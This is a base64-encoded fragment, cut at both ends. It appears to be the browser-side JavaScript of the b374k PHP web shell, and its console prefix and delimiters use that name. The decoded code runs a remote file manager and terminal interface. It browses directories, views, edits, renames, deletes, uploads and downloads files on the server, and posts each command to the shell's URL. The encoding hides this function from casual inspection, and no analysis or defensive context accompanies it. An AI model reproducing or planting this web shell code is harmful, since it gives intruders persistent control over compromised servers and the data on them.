JlZnJlc2hfdGFiKCk7IH07CgkJfQoJfQp9KTsKZnVuY3Rpb24gb3V0cHV0KHN0cil7Cgljb25zb2xlLmxvZygnYjM3NGs+ICcrc3RyKTsKfQpmdW5jdGlvbiB3aW5kb3dfcmVzaXplKCl7Cglib2R5V2lkdGggPSAkKCdib2R5Jykud2lkdGgoKTsKCWlmKGJvZHlXaWR0aDw9cG9ydGFibGVXaWR0aCl7CgkJbGF5b3V0X3BvcnRhYmxlKCk7Cgl9CgllbHNlewoJCWxheW91dF9ub3JtYWwoKTsKCX0KfQpmdW5jdGlvbiBsYXlvdXRfcG9ydGFibGUoKXsKCW5hdiA9ICQoJyNuYXYnKTsKCW1lbnUgPSAkKCcjbWVudScpOwoJaGVhZGVyTmF2ID0gJCgnI2hlYWRlck5hdicpOwoJY29udGVudCA9ICQoJyNjb250ZW50Jyk7CgkvL25hdi5oaWRlKCk7CgluYXYucHJlcGVuZFRvKCcjY29udGVudCcpOwoJbmF2LmNzcygncGFkZGluZycsJzVweCA4cHgnKTsKCW5hdi5jc3MoJ21hcmdpbi10b3AnLCAnOHB4Jyk7CgluYXYuY3NzKCdkaXNwbGF5JywnYmxvY2snKTsKCW5hdi5hZGRDbGFzcygnYm9yZGVyJyk7CgkKCW1lbnUuY2hpbGRyZW4oKS5jc3MoJ3dpZHRoJywgJzEwMCUnKTsKCW1lbnUuaGlkZSgpOwoJJCgnI21lbnVCdXR0b24nKS5yZW1vdmUoKTsJCgloZWFkZXJOYXYucHJlcGVuZCgiPGRpdiBpZD0nbWVudUJ1dHRvbicgY2xhc3M9J2JveHRpdGxlJyBvbmNsaWNrPVwiJCgnI21lbnUnKS50b2dnbGUoKTtcIiBzdHlsZT0nZmxvYXQtbGVmdDtkaXNwbGF5OmlubGluZTtwYWRkaW5nOjRweCA4cHg7bWFyZ2luLXJpZ2h0OjhweDsnPm1lbnU8L2Rpdj4iKTsKCW1lbnUuYXR0cignb25jbGljaycsICJcJCgnI21lbnUnKS5oaWRlKCk7Iik7CgkKCSQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDQpJykuaGlkZSgpOwoJJCgnI3hwbFRhYmxlIHRyPjpudGgtY2hpbGQoNSknKS5oaWRlKCk7CglpZighd2luKXsKCQkkKCcjeHBsVGFibGUgdHI+Om50aC1jaGlsZCg2KScpLmhpZGUoKTsKCX0KCQoJdGJsZm9vdCA9ICQoJyN4cGxUYWJsZSB0Zm9vdCB0ZDpsYXN0LWNoaWxkJyk7CglpZih0Ymxmb290WzBdKSB0Ymxmb290WzBdLmNvbFNwYW4gPSAxOwoJaWYodGJsZm9vdFsxXSkgdGJsZm9vdFsxXS5jb2xTcGFuID0gMjsKCQoJCgkkKCcuYm94JykuY3NzKCd3aWR0aCcsICcxMDAlJyk7CgkkKCcuYm94JykuY3NzKCdoZWlnaHQnLCAnMTAwJScpOwoJJCgnLmJveCcpLmNzcygnbGVmdCcsICcwcHgnKTsKCSQoJy5ib3gnKS5jc3MoJ3RvcCcsICcwcHgnKTsKCQkKCXBhZGRpbmdUb3AgPSAkKCcjaGVhZGVyJykuaGVpZ2h0KCk7Cgljb250ZW50LmNzcygncGFkZGluZy10b3AnLCBwYWRkaW5nVG9wKydweCcpOwoJCglwb3J0YWJsZU1vZGUgPSB0cnVlOwp9CmZ1bmN0aW9uIGxheW91dF9ub3JtYWwoKXsJCgluYXYgPSAkKCcjbmF2Jyk7CgltZW51ID0gJCgnI21lbnUnKTsJCgljb250ZW50ID0gJCgnI2NvbnRlbnQnKTsKCW5hdi5pbnNlcnRBZnRlcignI2IzNzRrJyk7CgluYXYuY3NzKCdwYWRkaW5nJywnMCcpOwoJbmF2LmNzcygnbWFyZ2luLXRvcCcsICcwJyk7CgluYXYuY3NzKCdkaXNwbGF5JywnaW5saW5lJyk7CgluYXYucmVtb3ZlQ2xhc3MoJ2JvcmRlcicpOwoJCgltZW51LmNoaWxkcmVuKCkuY3NzKCd3aWR0aCcsICdhdXRvJyk7CgltZW51LnNob3coKTsKCSQoJyNtZW51QnV0dG9uJykucmVtb3ZlKCk7CgltZW51LmF0dHIoJ29uY2xpY2snLCAiIik7CgkKCSQoJyN4cGxUYWJsZSB0cj46bnRoLWNoaWxkKDQpJykuc2hvdygpOwoJJCgnI3hwbFRhYmxlIHRyPjpudGgtY2hpbGQoNSknKS5zaG93KCk7CglpZighd2luKXsKCQkkKCcjeHBsVGFibGUgdHI+Om50aC1jaGlsZCg2KScpLnNob3coKTsKCQljb2xzcGFuID0gNDsKCX0KCWVsc2UgY29sc3BhbiA9IDM7CgkKCXRibGZvb3QgPSAkKCcjeHBsVGFibGUgdGZvb3QgdGQ6bGFzdC1jaGlsZCcpOwoJaWYodGJsZm9vdFswXSkgdGJsZm9vdFswXS5jb2xTcGFuID0gY29sc3BhbjsKCWlmKHRibGZvb3RbMV0pIHRibGZvb3RbMV0uY29sU3BhbiA9IGNvbHNwYW4rMTsKCXBhZGRpbmdUb3AgPSAkKCcjaGVhZGVyJykuaGVpZ2h0KCk7Cgljb250ZW50LmNzcygncGFkZGluZy10b3AnLCBwYWRkaW5nVG9wKydweCcpOwoJCglwb3J0YWJsZU1vZGUgPSBmYWxzZTsKfQpmdW5jdGlvbiBzdGFydF9zY3JvbGwoc3RyKXsKCWlmKHN0cj09J3RvcCcpewoJCXRvID0gJCh3aW5kb3cpLnNjcm9sbFRvcCgpIC0gc2Nyb2xsQ291bnRlcjsKCQlzY3JvbGxDb3VudGVyID0gc2Nyb2xsRGVsdGEgKyBzY3JvbGxDb3VudGVyOwoJCWlmKHRvPD0wKXsKCQkJdG8gPSAwOwoJCQlvblNjcm9sbCA9IGZhbHNlOwoJCX0KCQllbHNlIGlmKG9uU2Nyb2xsKXsKCQkJc2Nyb2xsVGltZXIgPSBzZXRUaW1lb3V0KCJzdGFydF9zY3JvbGwoJ3RvcCcpIiwgc2Nyb2xsU3BlZWQpOwoJCQkkKHdpbmRvdykuc2Nyb2xsVG9wKHRvKTsKCQl9Cgl9CgllbHNlIGlmKHN0cj09J2JvdHRvbScpewoJCXRvID0gJCh3aW5kb3cpLnNjcm9sbFRvcCgpICsgc2Nyb2xsQ291bnRlcjsKCQlzY3JvbGxDb3VudGVyID0gc2Nyb2xsRGVsdGEgKyBzY3JvbGxDb3VudGVyOwoJCWJvdHRvbSA9ICQoZG9jdW1lbnQpLmhlaWdodCgpLSQod2luZG93KS5oZWlnaHQoKTsKCQlpZih0bz49Ym90dG9tKXsKCQkJdG8gPSBib3R0b207CgkJCW9uU2Nyb2xsID0gZmFsc2U7CgkJfQoJCWVsc2UgaWYob25TY3JvbGwpewoJCQlzY3JvbGxUaW1lciA9IHNldFRpbWVvdXQoInN0YXJ0X3Njcm9sbCgnYm90dG9tJykiLCBzY3JvbGxTcGVlZCk7CgkJCSQod2luZG93KS5zY3JvbGxUb3AodG8pOwoJCX0KCX0KfQpmdW5jdGlvbiBnZXRfY3dkKCl7CglyZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KGdldF9jb29raWUoJ2N3ZCcpKTsKfQpmdW5jdGlvbiBmaXhfdGFiY2hhcihlbCwgZSl7CglpZihlLmtleUNvZGU9PTkpewoJCWUucHJldmVudERlZmF1bHQoKTsKCQl2YXIgcyA9IGVsLnNlbGVjdGlvblN0YXJ0OwoJCWVsLnZhbHVlID0gZWwudmFsdWUuc3Vic3RyaW5nKDAsZWwuc2VsZWN0aW9uU3RhcnQpICsgIlx0IiArIGVsLnZhbHVlLnN1YnN0cmluZyhlbC5zZWxlY3Rpb25FbmQpOwoJCWVsLnNlbGVjdGlvbkVuZCA9IHMrMTsKCX0KfQpmdW5jdGlvbiBnZXRfY29va2llKGtleSl7Cgl2YXIgcmVzOwoJcmV0dXJuIChyZXMgPSBuZXcgUmVnRXhwKCcoPzpefDsgKScgKyBlbmNvZGVVUklDb21wb25lbnQoa2V5KSArICc9KFteO10qKScpLmV4ZWMoZG9jdW1lbnQuY29va2llKSkgPyAocmVzWzFdKSA6IG51bGw7Cn0KZnVuY3Rpb24gc2V0X2Nvb2tpZShrZXksIHZhbHVlKXsKCWRvY3VtZW50LmNvb2tpZSA9IGtleSArICc9JyArIGVuY29kZVVSSUNvbXBvbmVudCh2YWx1ZSk7Cn0KZnVuY3Rpb24gaHRtbF9zYWZlKHN0cil7CglpZih0eXBlb2Yoc3RyKSA9PSAic3RyaW5nIil7CgkJc3RyID0gc3RyLnJlcGxhY2UoLyYvZywgIiZhbXA7Iik7CgkJc3RyID0gc3RyLnJlcGxhY2UoLyIvZywgIiZxdW90OyIpOwoJCXN0ciA9IHN0ci5yZXBsYWNlKC8nL2csICImIzAzOTsiKTsKCQlzdHIgPSBzdHIucmVwbGFjZSgvPC9nLCAiJmx0OyIpOwoJCXN0ciA9IHN0ci5yZXBsYWNlKC8+L2csICImZ3Q7Iik7Cgl9CglyZXR1cm4gc3RyOwp9CmZ1bmN0aW9uIHVjZmlyc3Qoc3RyKXsKCXJldHVybiBzdHIuY2hhckF0KDApLnRvVXBwZXJDYXNlKCkgKyBzdHIuc2xpY2UoMSk7Cn0KZnVuY3Rpb24gdGltZSgpewoJdmFyIGQgPSBuZXcgRGF0ZSgpOwoJcmV0dXJuIGQuZ2V0VGltZSgpOwp9CmZ1bmN0aW9uIHNlbmRfcG9zdCh0YXJnZXRkYXRhLCBjYWxsYmFjaywgbG9hZGluZyl7CglpZihsb2FkaW5nPT1udWxsKSBsb2FkaW5nX3N0YXJ0KCk7CgkkLmFqYXgoewoJCXVybDogdGFyZ2V0dXJsLAoJCXR5cGU6ICdQT1NUJywKCQlkYXRhOiB0YXJnZXRkYXRhLAoJCXN1Y2Nlc3M6IGZ1bmN0aW9uKHJlcyl7CgkJCWNhbGxiYWNrKHJlcyk7CgkJCWlmKGxvYWRpbmc9PW51bGwpIGxvYWRpbmdfc3RvcCgpOwoJCX0sCgkJZXJyb3I6IGZ1bmN0aW9uKCl7IGlmKGxvYWRpbmc9PW51bGwpIGxvYWRpbmdfc3RvcCgpOyB9Cgl9KTsKfQpmdW5jdGlvbiBsb2FkaW5nX3N0YXJ0KCl7CglpZighcnVubmluZyl7CgkJJCgnI292ZXJsYXknKS5zaG93KCk7CgkJcnVubmluZyA9IHRydWU7CgkJbG9hZGluZ19sb29wKCk7Cgl9Cn0KZnVuY3Rpb24gbG9hZGluZ19sb29wKCl7CglpZihydW5uaW5nKXsKCQlpbWcgPSAkKCcjbG9hZGluZycpOwoJCWltZy5jc3MoJ3RyYW5zZm9ybScsICdyb3RhdGUoJytsb2FkaW5nX2NvdW50KydkZWcpJyk7CgkJaW1nLmNzcygnLW1zLXRyYW5zZm9ybScsICdyb3RhdGUoJytsb2FkaW5nX2NvdW50KydkZWcpJyk7CgkJaW1nLmNzcygnLXdlYmtpdC10cmFuc2Zvcm0nLCAncm90YXRlKCcrbG9hZGluZ19jb3VudCsnZGVnKScpOwoJCWxvYWRpbmdfY291bnQrPTc7CgkJaWYobG9hZGluZ19jb3VudD4zNjApIGxvYWRpbmdfY291bnQgPSAwOwoJCWlmKHJ1bm5pbmcpIHNldFRpbWVvdXQoImxvYWRpbmdfbG9vcCgpIiwyMCk7Cgl9Cn0KZnVuY3Rpb24gbG9hZGluZ19zdG9wKCl7CglpZihydW5uaW5nKXsKCQlpbWcgPSAkKCcjbG9hZGluZycpOwoJCWltZy5jc3MoJ3RyYW5zZm9ybScsICdyb3RhdGUoMGRlZyknKTsKCQlpbWcuY3NzKCctbXMtdHJhbnNmb3JtJywgJ3JvdGF0ZSgwZGVnKScpOwoJCWltZy5jc3MoJy13ZWJraXQtdHJhbnNmb3JtJywgJ3JvdGF0ZSgwZGVnKScpOwoJCSQoJyNvdmVybGF5JykuaGlkZSgpOwoJCXJ1bm5pbmcgPSBmYWxzZTsKCX0KfQpmdW5jdGlvbiBzaG93X3RhYihpZCl7CglpZighaWQpewoJCWlmKGxvY2F0aW9uLmhhc2ghPScnKSBpZCA9IGxvY2F0aW9uLmhhc2guc3Vic3RyKDIpOwoJCWVsc2UgaWQgPSBkZWZhdWx0VGFiOwoJfQoJcmVmcmVzaF90YWIoaWQpOwp9CmZ1bmN0aW9uIHJlZnJlc2hfdGFiKGlkKXsKCWlmKCFpZCl7CgkJaWYobG9jYXRpb24uaGFzaCE9JycpIGlkID0gbG9jYXRpb24uaGFzaC5zdWJzdHIoMik7CgkJZWxzZSBpZCA9IGRlZmF1bHRUYWI7Cgl9CgkkKCcubWVudWl0ZW1TZWxlY3RlZCcpLnJlbW92ZUNsYXNzKCJtZW51aXRlbVNlbGVjdGVkIik7CgkkKCcjbWVudScraWQpLmFkZENsYXNzKCJtZW51aXRlbVNlbGVjdGVkIik7Cgl0YWJTY3JvbGxbY3VycmVudFRhYi5hdHRyKCdpZCcpXSA9ICQod2luZG93KS5zY3JvbGxUb3AoKTsKCWN1cnJlbnRUYWIuaGlkZSgpOwoJY3VycmVudFRhYiA9ICQoJyMnK2lkKTsKCWN1cnJlbnRUYWIuc2hvdygpOwoJd2luZG93W2lkXSgpOwoJaWYodGFiU2Nyb2xsW2lkXSl7CgkJJCh3aW5kb3cpLnNjcm9sbFRvcCh0YWJTY3JvbGxbaWRdKTsKCX0KCWhpZGVfYm94KCk7Cn0KZnVuY3Rpb24gdHJhcF9lbnRlcihlLCBjYWxsYmFjayl7CglpZihlLmtleUNvZGU9PTEzKXsKCQlpZihjYWxsYmFjayE9bnVsbCkgd2luZG93W2NhbGxiYWNrXSgpOwoJfQp9CmZ1bmN0aW9uIHNob3dfYm94KHRpdGxlLCBjb250ZW50KXsKCW9uRHJhZyA9IGZhbHNlOwoJaGlkZV9ib3goKTsKCWJveCA9ICI8ZGl2IGNsYXNzPSdib3gnPjxwIGNsYXNzPSdib3h0aXRsZSc+Iit0aXRsZSsiPHNwYW4gY2xhc3M9J2JveGNsb3NlIGZsb2F0UmlnaHQnPng8L3NwYW4+PC9wPjxkaXYgY2xhc3M9J2JveGNvbnRlbnQnPiIrY29udGVudCsiPC9kaXY+PGRpdiBjbGFzcz0nYm94cmVzdWx0Jz48L2Rpdj48L2Rpdj4iOwoJJCgnI2NvbnRlbnQnKS5hcHBlbmQoYm94KTsKCWJveF93aWR0aCA9ICQoJy5ib3gnKS53aWR0aCgpOwoJYm9keV93aWR0aCA9ICQoJ2JvZHknKS53aWR0aCgpOwoJYm94X2hlaWdodCA9ICQoJy5ib3gnKS5oZWlnaHQoKTsKCWJvZHlfaGVpZ2h0ID0gJCgnYm9keScpLmhlaWdodCgpOwoJeCA9IChib2R5X3dpZHRoIC0gYm94X3dpZHRoKS8yOwoJeSA9IChib2R5X2hlaWdodCAtIGJveF9oZWlnaHQpLzI7CglpZih4PDAgfHwgcG9ydGFibGVNb2RlKSB4ID0gMDsKCWlmKHk8MCB8fCBwb3J0YWJsZU1vZGUpIHkgPSAwOwoJaWYocG9ydGFibGVNb2RlKXsKCQkkKCcuYm94JykuY3NzKCd3aWR0aCcsICcxMDAlJyk7CgkJJCgnLmJveCcpLmNzcygnaGVpZ2h0JywgJzEwMCUnKTsJCgl9CgkkKCcuYm94JykuY3NzKCdsZWZ0JywgeCsncHgnKTsKCSQoJy5ib3gnKS5jc3MoJ3RvcCcsIHkrJ3B4Jyk7CgkkKCcuYm94Y2xvc2UnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQloaWRlX2JveCgpOwoJfSk7CgkKCWlmKCFwb3J0YWJsZU1vZGUpewoJCSQoJy5ib3h0aXRsZScpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCQlpZighb25EcmFnKXsKCQkJCWRyYWdEZWx0YVggPSBlLnBhZ2VYIC0gcGFyc2VJbnQoJCgnLmJveCcpLmNzcygnbGVmdCcpKTsKCQkJCWRyYWdEZWx0YVkgPSBlLnBhZ2VZIC0gcGFyc2VJbnQoJCgnLmJveCcpLmNzcygndG9wJykpOwoJCQkJZHJhZ19zdGFydCgpOwoJCQl9CgkJCWVsc2UgZHJhZ19zdG9wKCk7CgkJfSk7Cgl9CgkkKGRvY3VtZW50KS5vZmYoJ2tleXVwJyk7CgkkKGRvY3VtZW50KS5vbigna2V5dXAnLCBmdW5jdGlvbihlKXsKCQlpZihlLmtleUNvZGUgPT0gMjcpIGhpZGVfYm94KCk7Cgl9KTsKCWlmKCQoJy5ib3ggaW5wdXQnKVswXSkgJCgnLmJveCBpbnB1dCcpWzBdLmZvY3VzKCk7Cn0KZnVuY3Rpb24gaGlkZV9ib3goKXsKCSQoZG9jdW1lbnQpLm9mZigna2V5dXAnKTsKCSQoJy5ib3gnKS5yZW1vdmUoKTsKfQpmdW5jdGlvbiBkcmFnX3N0YXJ0KCl7CglpZighb25EcmFnKXsKCQlvbkRyYWcgPSB0cnVlOwoJCSQoJ2JvZHknKS5vZmYoJ21vdXNlbW92ZScpOwoJCSQoJ2JvZHknKS5vbignbW91c2Vtb3ZlJywgZnVuY3Rpb24oZSl7CgkJCWRyYWdYID0gZS5wYWdlWDsKCQkJZHJhZ1kgPSBlLnBhZ2VZOwoJCX0pOwoJCXNldFRpbWVvdXQoJ2RyYWdfbG9vcCgpJyw1MCk7Cgl9Cn0KZnVuY3Rpb24gZHJhZ19sb29wKCl7CglpZihvbkRyYWcpewoJCXggPSBkcmFnWCAtIGRyYWdEZWx0YVg7CgkJeSA9IGRyYWdZIC0gZHJhZ0RlbHRhWTsKCQlpZih5PDApeT0wOwoJCSQoJy5ib3gnKS5jc3MoJ2xlZnQnLCB4KydweCcpOwoJCSQoJy5ib3gnKS5jc3MoJ3RvcCcsIHkrJ3B4Jyk7CgkJc2V0VGltZW91dCgnZHJhZ19sb29wKCknLDUwKTsKCX0KfQpmdW5jdGlvbiBkcmFnX3N0b3AoKXsKCW9uRHJhZyA9IGZhbHNlOwoJJCgnYm9keScpLm9mZignbW91c2Vtb3ZlJyk7Cn0KZnVuY3Rpb24gZ2V0X2FsbF9jYm94X3NlbGVjdGVkKGlkLCBjYWxsYmFjayl7Cgl2YXIgYnVmZmVyID0gbmV3IEFycmF5KCk7CgkkKCcjJytpZCkuZmluZCgnLmNCb3hTZWxlY3RlZCcpLm5vdCgnLmNCb3hBbGwnKS5lYWNoKGZ1bmN0aW9uKGkpewoJCWlmKChocmVmID0gd2luZG93W2NhbGxiYWNrXSgkKHRoaXMpKSkpewoJCQlidWZmZXJbaV0gPSBocmVmOwoJCX0KCX0pOwoJcmV0dXJuIGJ1ZmZlcjsKfQpmdW5jdGlvbiBjYm94X2JpbmQoaWQsIGNhbGxiYWNrKXsKCSQoJyMnK2lkKS5maW5kKCcuY0JveCcpLm9mZignY2xpY2snKTsKCSQoJyMnK2lkKS5maW5kKCcuY0JveEFsbCcpLm9mZignY2xpY2snKTsKCSQoJyMnK2lkKS5maW5kKCcuY0JveCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCWlmKCQodGhpcykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpKXsKCQkJJCh0aGlzKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyk7CgkJfQoJCWVsc2UgJCh0aGlzKS5hZGRDbGFzcygnY0JveFNlbGVjdGVkJyk7CgkJaWYoY2FsbGJhY2shPW51bGwpIHdpbmRvd1tjYWxsYmFja10oKTsKCX0pOwoJJCgnIycraWQpLmZpbmQoJy5jQm94QWxsJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJaWYoJCh0aGlzKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykpewoJCQkkKCcjJytpZCkuZmluZCgnLmNCb3gnKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyk7CgkJCSQoJyMnK2lkKS5maW5kKCcuY0JveEFsbCcpLnJlbW92ZUNsYXNzKCdjQm94U2VsZWN0ZWQnKTsKCQl9CgkJZWxzZXsKCQkJJCgnIycraWQpLmZpbmQoJy5jQm94Jykubm90KCcuY0JveEV4Y2VwdGlvbicpLmFkZENsYXNzKCdjQm94U2VsZWN0ZWQnKTsKCQkJJCgnIycraWQpLmZpbmQoJy5jQm94QWxsJykubm90KCcuY0JveEV4Y2VwdGlvbicpLmFkZENsYXNzKCdjQm94U2VsZWN0ZWQnKTsKCQl9CgkJaWYoY2FsbGJhY2shPW51bGwpIHdpbmRvd1tjYWxsYmFja10oKTsKCX0pOwp9CmZ1bmN0aW9uIGFjdGlvbihwYXRoLCB0eXBlKXsKCXRpdGxlID0gIkFjdGlvbiI7Cgljb250ZW50ID0gJyc7CglpZih0eXBlPT0nZmlsZScpIGNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQ+PGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciK3BhdGgrIicgZGlzYWJsZWQ+PC90ZD48L3RyPjx0ciBkYXRhLXBhdGg9JyIrcGF0aCsiJz48dGQ+PHNwYW4gY2xhc3M9J2VkaXQgYnV0dG9uJz5lZGl0PC9zcGFuPjxzcGFuIGNsYXNzPSdyZW4gYnV0dG9uJz5yZW5hbWU8L3NwYW4+PHNwYW4gY2xhc3M9J2RlbCBidXR0b24nPmRlbGV0ZTwvc3Bhbj48c3BhbiBjbGFzcz0nZGwgYnV0dG9uJz5kb3dubG9hZDwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJaWYodHlwZT09J2RpcicpIGNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQ+PGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciK3BhdGgrIicgZGlzYWJsZWQ+PC90ZD48L3RyPjx0ciBkYXRhLXBhdGg9JyIrcGF0aCsiJz48dGQ+PHNwYW4gY2xhc3M9J2ZpbmQgYnV0dG9uJz5maW5kPC9zcGFuPjxzcGFuIGNsYXNzPSd1bCBidXR0b24nPnVwbG9hZDwvc3Bhbj48c3BhbiBjbGFzcz0ncmVuIGJ1dHRvbic+cmVuYW1lPC9zcGFuPjxzcGFuIGNsYXNzPSdkZWwgYnV0dG9uJz5kZWxldGU8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjsKCWlmKHR5cGU9PSdkb3QnKSBjb250ZW50ID0gIjx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nIitwYXRoKyInIGRpc2FibGVkPjwvdGQ+PC90cj48dHIgZGF0YS1wYXRoPSciK3BhdGgrIic+PHRkPjxzcGFuIGNsYXNzPSdmaW5kIGJ1dHRvbic+ZmluZDwvc3Bhbj48c3BhbiBjbGFzcz0ndWwgYnV0dG9uJz51cGxvYWQ8L3NwYW4+PHNwYW4gY2xhc3M9J3JlbiBidXR0b24nPnJlbmFtZTwvc3Bhbj48c3BhbiBjbGFzcz0nZGVsIGJ1dHRvbic+ZGVsZXRlPC9zcGFuPjxzcGFuIGNsYXNzPSduZXdmaWxlIGJ1dHRvbic+bmV3IGZpbGU8L3NwYW4+PHNwYW4gY2xhc3M9J25ld2ZvbGRlciBidXR0b24nPm5ldyBmb2xkZXI8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjsKCXNob3dfYm94KHRpdGxlLCBjb250ZW50KTsKCXhwbF9iaW5kKCk7Cn0KZnVuY3Rpb24gbmF2aWdhdGUocGF0aCwgc2hvd2ZpbGVzKXsKCWlmKHNob3dmaWxlcz09bnVsbCkgc2hvd2ZpbGVzID0gJ3RydWUnOwoJc2VuZF9wb3N0KHsgY2Q6cGF0aCwgc2hvd2ZpbGVzOnNob3dmaWxlcyB9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCXNwbGl0cyA9IHJlcy5zcGxpdCgne1t8YjM3NGt8XX0nKTsKCQkJaWYoc3BsaXRzLmxlbmd0aD09Myl7CgkJCQkkKCcjbmF2JykuaHRtbChzcGxpdHNbMV0pOwoJCQkJaWYoc2hvd2ZpbGVzPT0ndHJ1ZScpewoJCQkJCSQoJyNleHBsb3JlcicpLmh0bWwoJycpOwoJCQkJCSQoJyNleHBsb3JlcicpLmh0bWwoc3BsaXRzWzJdKTsKCQkJCQlzb3J0dGFibGUuaygkKCcjeHBsVGFibGUnKS5nZXQoMCkpOwoJCQkJfQoJCQkJJCgnI3Rlcm1pbmFsQ3dkJykuaHRtbChodG1sX3NhZmUoZ2V0X2N3ZCgpKSsnJmd0OycpOwoJCQkJeHBsX2JpbmQoKTsKCQkJCXdpbmRvd19yZXNpemUoKTsKCQkJfQoJCX0KCX0pOwp9CmZ1bmN0aW9uIHZpZXcocGF0aCwgdHlwZSwgcHJlc2VydmVUaW1lc3RhbXApewoJaWYocHJlc2VydmVUaW1lc3RhbXA9PW51bGwpIHByZXNlcnZlVGltZXN0YW1wID0gJ3RydWUnOwoJc2VuZF9wb3N0KHsgdmlld0ZpbGU6IHBhdGgsIHZpZXdUeXBlOiB0eXBlLCBwcmVzZXJ2ZVRpbWVzdGFtcDpwcmVzZXJ2ZVRpbWVzdGFtcCB9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCSQoJyNleHBsb3JlcicpLmh0bWwoJycpOwoJCQkkKCcjZXhwbG9yZXInKS5odG1sKHJlcyk7CgkJCXhwbF9iaW5kKCk7CgkJCXNob3dfdGFiKCdleHBsb3JlcicpOwoJCQlpZigodHlwZT09J2VkaXQnKXx8KHR5cGU9PSdoZXgnKSl7CgkJCQllZGl0UmVzdWx0ID0gKHR5cGU9PSdlZGl0Jyk/ICQoJyNlZGl0UmVzdWx0Jyk6JCgnI2VkaXRIZXhSZXN1bHQnKTsKCQkJCWlmKGVkaXRTdWNjZXNzPT0nc3VjY2VzcycpewoJCQkJCWVkaXRSZXN1bHQuaHRtbCgnICggRmlsZSBzYXZlZCApJyk7CgkJCQl9CgkJCQllbHNlIGlmKGVkaXRTdWNjZXNzPT0nZXJyb3InKXsKCQkJCQllZGl0UmVzdWx0Lmh0bWwoJyAoIEZhaWxlZCB0byBzYXZlIGZpbGUgKScpOwoJCQkJfQoJCQkJZWRpdFN1Y2Nlc3MgPSAnJzsKCQkJfQoJCQljYm94X2JpbmQoJ2VkaXRUYmwnKTsKCQl9Cgl9KTsKfQpmdW5jdGlvbiB2aWV3X2VudHJ5KGVsKXsKCWlmKCQoZWwpLmF0dHIoJ2RhdGEtcGF0aCcpIT0nJyl7CgkJZW50cnkgPSAkKGVsKS5hdHRyKCdkYXRhLXBhdGgnKTsKCQkkKCcjZm9ybScpLmFwcGVuZCgiPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0ndmlld0VudHJ5JyB2YWx1ZT0nIitlbnRyeSsiJz4iKTsKCQkkKCcjZm9ybScpLnN1Ym1pdCgpOwoJCSQoJyNmb3JtJykuaHRtbCgnJyk7Cgl9Cn0KZnVuY3Rpb24gcmVuKHBhdGgpewoJdGl0bGUgPSAiUmVuYW1lIjsKCWNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+UmVuYW1lIHRvPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdyZW5hbWVGaWxlVG8nIHZhbHVlPSciICtwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdyZW5fZ28nKTtcIj48aW5wdXQgdHlwZT0naGlkZGVuJyBjbGFzcz0ncmVuYW1lRmlsZScgdmFsdWU9JyIrcGF0aCsiJz48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSdyZW5fZ28oKTsnPnJlbmFtZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CmZ1bmN0aW9uIHJlbl9nbygpewoJcmVuYW1lRmlsZSA9ICQoJy5yZW5hbWVGaWxlJykudmFsKCk7CglyZW5hbWVGaWxlVG8gPSAkKCcucmVuYW1lRmlsZVRvJykudmFsKCk7CglzZW5kX3Bvc3Qoe3JlbmFtZUZpbGU6cmVuYW1lRmlsZSwgcmVuYW1lRmlsZVRvOnJlbmFtZUZpbGVUb30sIGZ1bmN0aW9uKHJlcyl7CgkJaWYocmVzIT0nZXJyb3InKXsKCQkJbmF2aWdhdGUocmVzKTsKCQkJJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBzdWNjZWVkZWQnKTsKCQkJJCgnLnJlbmFtZUZpbGUnKS52YWwoJCgnLnJlbmFtZUZpbGVUbycpLnZhbCgpKTsKCQl9CgkJZWxzZSAkKCcuYm94cmVzdWx0JykuaHRtbCgnT3BlcmF0aW9uKHMpIGZhaWxlZCcpOwoJfSk7Cn0KZnVuY3Rpb24gbmV3Zm9sZGVyKHBhdGgpewoJdGl0bGUgPSAiTmV3IEZvbGRlciI7CglwYXRoID0gcGF0aCArICduZXdmb2xkZXItJyArIHRpbWUoKTsKCWNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+Rm9sZGVyIE5hbWU8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J25ld0ZvbGRlcicgdmFsdWU9JyIrcGF0aCsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbmV3Zm9sZGVyX2dvJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0nbmV3Zm9s